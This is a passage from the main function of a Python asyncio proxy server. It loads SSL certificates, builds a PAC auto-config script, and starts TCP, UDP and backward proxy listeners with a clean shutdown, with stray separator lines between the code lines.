args = parser.parse_args(args)
|
|
if args.sslfile:
|
|
sslfile = args.sslfile.split(',')
|
|
for context in sslcontexts:
|
|
context.load_cert_chain(*sslfile)
|
|
elif any(map(lambda o: o.sslclient or isinstance(o, ProxyQUIC), args.listen+args.ulisten)):
|
|
print('You must specify --ssl to listen in ssl mode')
|
|
return
|
|
if args.test:
|
|
asyncio.get_event_loop().run_until_complete(test_url(args.test, args.rserver))
|
|
return
|
|
if not args.listen and not args.ulisten:
|
|
args.listen.append(proxies_by_uri(LISTENING_SOCKS_ADDRESS_PORT))
|
|
args.httpget = {}
|
|
if args.pac:
|
|
pactext = 'function FindProxyForURL(u,h){' + (f'var b=/^(:?{args.block.__self__.pattern})$/i;if(b.test(h))return "";' if args.block else '')
|
|
for i, option in enumerate(args.rserver):
|
|
pactext += (f'var m{i}=/^(:?{option.rule.__self__.pattern})$/i;if(m{i}.test(h))' if option.rule else '') + 'return "PROXY %(host)s";'
|
|
args.httpget[args.pac] = pactext+'return "DIRECT";}'
|
|
args.httpget[args.pac+'/all'] = 'function FindProxyForURL(u,h){return "PROXY %(host)s";}'
|
|
args.httpget[args.pac+'/none'] = 'function FindProxyForURL(u,h){return "DIRECT";}'
|
|
for gets in args.gets:
|
|
path, filename = gets.split(',', 1)
|
|
with open(filename, 'rb') as f:
|
|
args.httpget[path] = f.read()
|
|
if args.daemon:
|
|
try:
|
|
__import__('daemon').DaemonContext().open()
|
|
except ModuleNotFoundError:
|
|
print("Missing library: pip3 install python-daemon")
|
|
return
|
|
# Try to use uvloop instead of the default event loop
|
|
try:
|
|
__import__('uvloop').install()
|
|
print('Using uvloop')
|
|
except ModuleNotFoundError:
|
|
pass
|
|
loop = asyncio.get_event_loop()
|
|
if args.v:
|
|
from . import verbose
|
|
verbose.setup(loop, args)
|
|
servers = []
|
|
def print_fn(option, bind=None):
|
|
print('[*] Serving on', (bind or option.bind), 'by', ",".join(i.name for i in option.protos) + ('(SSL)' if option.sslclient else ''), '({}{})'.format(option.cipher.name, ' '+','.join(i.name() for i in option.cipher.plugins) if option.cipher and option.cipher.plugins else '') if option.cipher else '')
|
|
for option in args.listen:
|
|
try:
|
|
server = loop.run_until_complete(option.start_server(vars(args)))
|
|
print_server_started(option, server, print_fn)
|
|
servers.append(server)
|
|
except Exception as ex:
|
|
print_fn(option)
|
|
print('Start server failed.\n\t==>', ex)
|
|
def print_fn(option, bind=None):
|
|
print('[*] Serving on UDP', (bind or option.bind), 'by', ",".join(i.name for i in option.protos), f'({option.cipher.name})' if option.cipher else '')
|
|
for option in args.ulisten:
|
|
try:
|
|
server, protocol = loop.run_until_complete(option.udp_start_server(vars(args)))
|
|
print_server_started(option, server, print_fn)
|
|
servers.append(server)
|
|
except Exception as ex:
|
|
print_fn(option)
|
|
print('Start server failed.\n\t==>', ex)
|
|
def print_fn(option, bind=None):
|
|
print('[*] Serving on', (bind or option.bind), 'backward by', ",".join(i.name for i in option.protos) + ('(SSL)' if option.sslclient else ''), '({}{})'.format(option.cipher.name, ' '+','.join(i.name() for i in option.cipher.plugins) if option.cipher and option.cipher.plugins else '') if option.cipher else '')
|
|
for option in args.rserver:
|
|
if isinstance(option, ProxyBackward):
|
|
try:
|
|
server = loop.run_until_complete(option.start_backward_client(vars(args)))
|
|
print_server_started(option, server, print_fn)
|
|
servers.append(server)
|
|
except Exception as ex:
|
|
print_fn(option)
|
|
print('Start server failed.\n\t==>', ex)
|
|
if servers:
|
|
if args.sys:
|
|
from . import sysproxy
|
|
args.sys = sysproxy.setup(args)
|
|
if args.alived > 0 and args.rserver:
|
|
asyncio.ensure_future(check_server_alive(args.alived, args.rserver, args.verbose if args.v else DUMMY))
|
|
try:
|
|
loop.run_forever()
|
|
except KeyboardInterrupt:
|
|
print('exit')
|
|
if args.sys:
|
|
args.sys.clear()
|
|
for task in asyncio.all_tasks(loop) if hasattr(asyncio, 'all_tasks') else asyncio.Task.all_tasks():
|
|
task.cancel()
|
|
for server in servers:
|
|
server.close()
|
|
for server in servers:
|
|
if hasattr(server, 'wait_closed'):
|
|
loop.run_until_complete(server.wait_closed())
|
|
loop.run_until_complete(loop.shutdown_asyncgens())
|
|
loop.close()
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|